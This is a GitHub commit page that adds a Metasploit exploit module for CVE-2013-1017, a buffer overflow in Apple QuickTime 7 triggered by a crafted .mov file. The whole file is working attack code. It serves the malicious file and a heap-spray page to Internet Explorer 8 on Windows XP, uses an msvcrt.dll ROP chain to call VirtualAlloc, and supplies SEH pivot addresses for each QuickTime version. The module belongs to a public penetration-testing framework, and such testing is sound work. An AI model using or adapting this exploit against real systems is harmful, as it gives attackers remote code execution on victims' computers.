Skip to content

Commit 7598afa

Browse files
author
jvazquez-r7
committed
Land rapid7#2113, @wchen-r7's exploit for CVE-2013-1017 
2 parents 7f7cb4f + 6713fb1 commit 7598afa

File tree

1 file changed

+223
-0
lines changed

1 file changed

+223
-0
lines changed

‎modules/exploits/windows/browser/apple_quicktime_rdrf.rb

Lines changed: 223 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,223 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit4 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow",
18+
'Description' => %q{
19+
This module exploits a vulnerability found in Apple Quicktime. The flaw is
20+
triggered when Quicktime fails to properly handle the data length for certain
21+
atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer
22+
overflow by loading a specially crafted .mov file, and allows arbitrary
23+
code execution under the context of the user.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'pyoor', # Original Discovery & PoC (overlapped finding)
29+
'Tom Gallagher', # Original Discovery (overlapped)
30+
'Paul Bates', # Original Discovery (overlapped)
31+
'sinn3r' # Metasploit
32+
],
33+
'References' =>
34+
[
35+
[ 'CVE', '2013-1017' ],
36+
[ 'BID', '60097' ],
37+
[ 'URL', 'http://support.apple.com/kb/HT5770' ]
38+
],
39+
'Platform' => 'win',
40+
'Targets' =>
41+
[
42+
# All of the following addresses are from Quicktime.qts
43+
# RET = ADD ESP,280; RET, Nop = RET, Pop = POP ESP; RET
44+
[ 'Quicktime 7.7.3 with IE 8 on Windows XP SP3', {'Ret' => 0x66923467, 'Nop' => 0x6692346d, 'Pop' => 0x66849239} ],
45+
[ 'Quicktime 7.7.2 with IE 8 on Windows XP SP3', {'Ret' => 0x669211C7, 'Nop' => 0x669211CD, 'Pop' => 0x668C5B55} ],
46+
[ 'Quicktime 7.7.1 with IE 8 on Windows XP SP3', {'Ret' => 0x66920D67, 'Nop' => 0x66920D6D, 'Pop' => 0x66849259} ],
47+
[ 'Quicktime 7.7.0 with IE 8 on Windows XP SP3', {'Ret' => 0x66920BD7, 'Nop' => 0x66920BDD, 'Pop' => 0x668E963A} ]
48+
],
49+
'Payload' =>
50+
{
51+
'BadChars' => "\x00", # js_property_spray no like nilz
52+
'StackAdjustment' => -3500
53+
},
54+
'DefaultOptions' =>
55+
{
56+
'InitialAutoRunScript' => 'migrate -f'
57+
},
58+
'Privileged' => false,
59+
'DisclosureDate' => "May 22 2013"
60+
))
61+
end
62+
63+
def get_payload(t)
64+
p = ''
65+
66+
rop =
67+
[
68+
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
69+
0x77c1e844, # skip 4 bytes [msvcrt.dll]
70+
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
71+
0xffffffff,
72+
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
73+
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
74+
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
75+
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
76+
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
77+
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
78+
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
79+
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
80+
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
81+
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
82+
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
83+
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
84+
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
85+
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
86+
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
87+
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
88+
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
89+
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
90+
].pack("V*")
91+
92+
p << rop
93+
p << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
94+
p << payload.encoded
95+
96+
p
97+
end
98+
99+
100+
def targetable?(agent)
101+
if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/
102+
return true
103+
elsif agent =~ /contype/
104+
# contype: a mov file request from Apple Quicktime
105+
return true
106+
end
107+
108+
false
109+
end
110+
111+
112+
def get_html(t)
113+
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
114+
fake_mov_name = rand_text_alpha(4) + ".mov"
115+
html = %Q|
116+
<html>
117+
<head>
118+
<script>
119+
#{js_property_spray}
120+
121+
var s = unescape("#{js_p}");
122+
sprayHeap({shellcode:s});
123+
</script>
124+
</head>
125+
<body>
126+
<embed src="#{get_resource}/#{fake_mov_name}" width="0" height="0"></embed>
127+
</body>
128+
</html>
129+
|
130+
131+
html.gsub(/^\t\t/, '')
132+
end
133+
134+
135+
def on_request_uri(cli, request)
136+
agent = request.headers['User-Agent']
137+
print_status("Requesting: #{request.uri}")
138+
139+
140+
unless targetable?(agent)
141+
print_error("Browser not supported, sending 404: #{agent}")
142+
send_not_found(cli)
143+
return
144+
end
145+
146+
print_status("Target selected as: #{target.name}") if target
147+
148+
if request.uri =~ /\.mov$/
149+
print_status("Sending specially crafted .mov file")
150+
send_response(cli, @exploit, { 'Content-Type' => 'application/octet-stream' })
151+
else
152+
html = get_html(target)
153+
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
154+
end
155+
end
156+
157+
def sort_bytes(data)
158+
data.map { |e| [e].pack('N').scan(/../).reverse.join }.join
159+
end
160+
161+
def rop_nop(t)
162+
[t['Nop']].pack('V*') # Ret (QuickTime.qts)
163+
end
164+
165+
def exploit
166+
buf = ''
167+
buf << rand_text_alpha(467) # 467 to align the pivot
168+
10.times {
169+
buf << rop_nop(target)
170+
}
171+
buf << [
172+
target['Pop'], # POP ESP; RET (QuickTime.qts)
173+
0x20302020 # Target value for ESP (our ROP payload)
174+
].pack('V*')
175+
buf << rand_text_alpha(611 - buf.length) # Offset 611 to hit SE Handler
176+
buf << sort_bytes([target.ret]) # ADD ESP,280; RET (QuickTime.qts) - pivot
177+
buf << rand_text_alpha(658 - buf.length) # 658 bytes to pad up the mov file size
178+
179+
# Quicktime File Format Specifications:
180+
# https://developer.apple.com/standards/qtff-2001.pdf
181+
mov = "\x00\x00\x06\xDF" # File size
182+
mov << "moov" # Movie atom
183+
mov << "\x00\x00\x06\xD7" # size (1751d)
184+
mov << "rmra" # Reference Movie atom
185+
mov << "\x00\x00\x06\xCF" # size (1743d)
186+
mov << "rmda" # rmda atom
187+
mov << "\x00\x00\x06\xBF" # size (1727d)
188+
mov << "rdrf" # Data reference atom
189+
mov << "\x00\x00\x00\x00" # size set to 0
190+
mov << "alis" # Data reference type: FS alias record
191+
mov << "\x00\x00\x06\xAA" # Size (1706d)
192+
mov << rand_text_alpha(8)
193+
mov << "\x00\x00\x06\x61" # Size (1633d)
194+
mov << rand_text_alpha(38)
195+
mov << "\x12"
196+
mov << rand_text_alpha(81)
197+
mov << "\xFF\xFF"
198+
mov << rand_text_alpha(18)
199+
mov << "\x00\x08" # Size (8d)
200+
mov << rand_text_alpha(8)
201+
mov << "\x00\x00"
202+
mov << "\x00\x08" # Size (8d)
203+
mov << rand_text_alpha(8)
204+
mov << "\x00\x00"
205+
mov << "\x00\x26" # Size (38d)
206+
mov << rand_text_alpha(38)
207+
mov << "\x00\x0F\x00\x0E"
208+
mov << "AA" # Size (must be invalid)
209+
mov << rand_text_alpha(12)
210+
mov << "\x00\x12\x00\x21"
211+
mov << rand_text_alpha(36)
212+
mov << "\x00"
213+
mov << "\x0F\x33"
214+
mov << rand_text_alpha(17)
215+
mov << "\x02\xF4" # Size (756h)
216+
mov << rand_text_alpha(756)
217+
mov << "\xFF\xFF\x00\x00\x00"
218+
mov << buf
219+
220+
@exploit = mov
221+
super
222+
end
223+
end

0 commit comments

Comments
 (0)